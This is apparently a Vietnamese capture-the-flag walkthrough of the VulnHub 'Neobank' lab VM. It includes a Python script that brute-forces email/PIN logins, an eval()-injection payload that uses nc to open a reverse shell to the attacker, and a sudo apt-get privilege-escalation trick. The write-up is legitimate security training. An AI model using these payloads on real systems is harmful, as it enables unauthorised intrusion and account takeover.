Mô tả:
Created and tested on Virtual Box
Hints : ^[0-9]
Contact : alienum#1033 (discord) or @AL1ENUM (twitter)
Download:
- Neobank.ova (Size: 781 MB)
- Download (Mirror): https://download.vulnhub.com/neobank/Neobank.ova
- Download (Torrent): https://download.vulnhub.com/neobank/Neobank.ova.torrent
Khai thác:
Bước 1: Thu thập dữ liệu thông tin
Sử dụng arp-scan và nmap để dò quét thông tin đối tượng tấn công
Thu được ip là 192.168.93.138 là ip victim, port mở ở đây là 5000 chạy dịch vụ web
Mình cho vào website thấy đây là web login
Nhìn không có gì đặc biệt cả kể cả kiểm tra mã nguồn, mình tiến hành dò quét đường dẫn khác sử dụng dirsearch
Thu được đường dẫn khác /pr, /opt, /withdraw mình truy cập thử thì ra trang trắng không có gì cả bởi vì nó chả gì đặc biệt trừ khi mình phải đăng nhập thành công.
Mình thử gửi một số yêu cầu đăng nhập và kiểm tra bằng công cụ phát triển của trình duyệt thấy được cấu trúc dữ liệu khi được gửi lên hệ thống để đăng nhập
Dạng truyền POST: email=…&pin=….
Với thông tin này mình tìm chính xác thông tin bao gồm email và mã pin để đăng nhập. Mình dựa vào gợi ý của đầu bài là
Hints : ^[0-9]
Mình tiến hành lọc số trong tệp tin rockyout.txt lưu thành một tệp là pins.txt
Tiếp đó mình sẽ thử tìm đường dẫn url liên quan email dạng JSON, mình lọc từ tệp directory-list-2-3-big.txt
Thực hiện dò quét phát hiện điền dẫn /email_list
Mình truy cập thấy rất nhiều email, mình liền copy về một tệp có tên làm email.txt
Như vậy đã đủ thông tin để brute force mình sang bước 2 để viết code tấn công.
Bước 2: Viêt code khai thác
Mình dựa vào cách viết gửi request POST trong python 3 để viết
Sử dụng thêm việc trả trạng thái status trong hàm request
import requests import sys url = 'http://192.168.93.138:5000/login' with open('email.txt') as mail: for e in mail: with open('pins.txt') as pins: for p in pins: user = {"email":e.strip(),"pin":p.strip()} x = requests.post(url, data = user) print(x.status_code) if len(x.cookies) == 1: print("Email : " + e.strip()) print("Pins : " + p.strip()) sys.exit()
Tiến hành chạy code thu được thông tin đăng nhập
Mình tiến hành đăng nhập đến trang nhập otp, mình sửa đường dẫn thành /pr để lấy mã QR quét lấy mã OTP
Thật không may là mình dùng phần mềm decode OTP online không ăn thua, và có một gửi ý dùng app google auth quét là ra
Mình đăng nhập vào được trang sau
Mình chuyển bước tiếp theo khai thác thiết lập kết nối
Bước 3: Khai thác thiết lập kết nối
Mình thử nhập số tiền rút thử
Nếu nhiều hơn số tiền hiện có thì ví tăng tiền
Nếu ít hơn số tiền mình rút thì ví bị âm
Mình xác định được phần input này có lỗi có thể khai thác, mình tìm mã khai thác reveshell bằng python thử nghiệm
Vipul Chaskar’s Blog: Exploiting eval() function in Python
__import__(‘os’).system(‘nc your_ip port -e /bin/sh’)
Đồng thời trên máy kali mình mở cổng lắng nghe kết nối
Kiểm tra thư mục web có thư mục ẩn …/
Mình truy cập vào thư mục đó thấy tệp python là newUser.py mình mở ra thấy thông tin database
Mình dùng thông tin này login database của hệ thống lấy được thông tin user
Dùng nó để đăng nhập và đoc cờ đầu thôi nào
Bước 4: Leo thăng
Thử dùng lệnh sudo -l
Phát hiện apt-get dùng không cần pass mình lên GTFObins để tìm mã khai thác:
sudo apt-get changelog apt
!/bin/sh
Mình tiến hành thực hiện mã này và thu được
Thành công leo thăng mình sẽ tiến hành đọc cờ cuối thôi
0 Comments